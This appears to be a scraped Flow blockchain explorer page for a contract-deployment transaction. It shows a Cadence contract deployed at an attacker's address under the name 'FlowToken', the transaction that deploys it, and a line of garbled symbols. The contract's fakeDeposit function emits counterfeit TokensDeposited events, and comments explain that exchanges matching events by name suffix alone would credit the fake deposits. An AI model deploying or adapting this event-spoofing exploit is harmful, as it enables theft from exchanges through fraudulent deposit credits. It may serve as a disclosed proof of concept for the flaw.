DeploySEALED
◆#@!▓▫$~*?█$&□~&╳□●▒#╳$○■▫?&▒~%▒▓#▒○%╳●▓■@!▫▫■◇^^##█▪&?█○#░^░^*~
Transaction ID
Execution Fee
0.00078 FLOWTransaction Summary
UpdatingDeploy
Contract deployment
Contract deployment
Script Arguments
Copy:
0codeString
// Deployed at attacker's address, NOT the real FlowToken address.
// Event TypeID: A.<ATTACKER_ADDR>.FlowToken.TokensDeposited
// Real TypeID: A.1654653399040a61.FlowToken.TokensDeposited
//
// If exchange matches event by name suffix only, they'd credit this.
access(all) contract FlowToken {
access(all) event TokensDeposited(amount: UFix64, to: Address?)
access(all) event TokensWithdrawn(amount: UFix64, from: Address?)
access(all) fun fakeDeposit(amount: UFix64, to: Address) {
emit TokensDeposited(amount: amount, to: to)
}
}
Cadence Script
1transaction(code: String) {
2 prepare(signer: auth(Contracts) &Account) {
3 signer.contracts.add(name: "FlowToken", code: code.utf8)
4 }
5}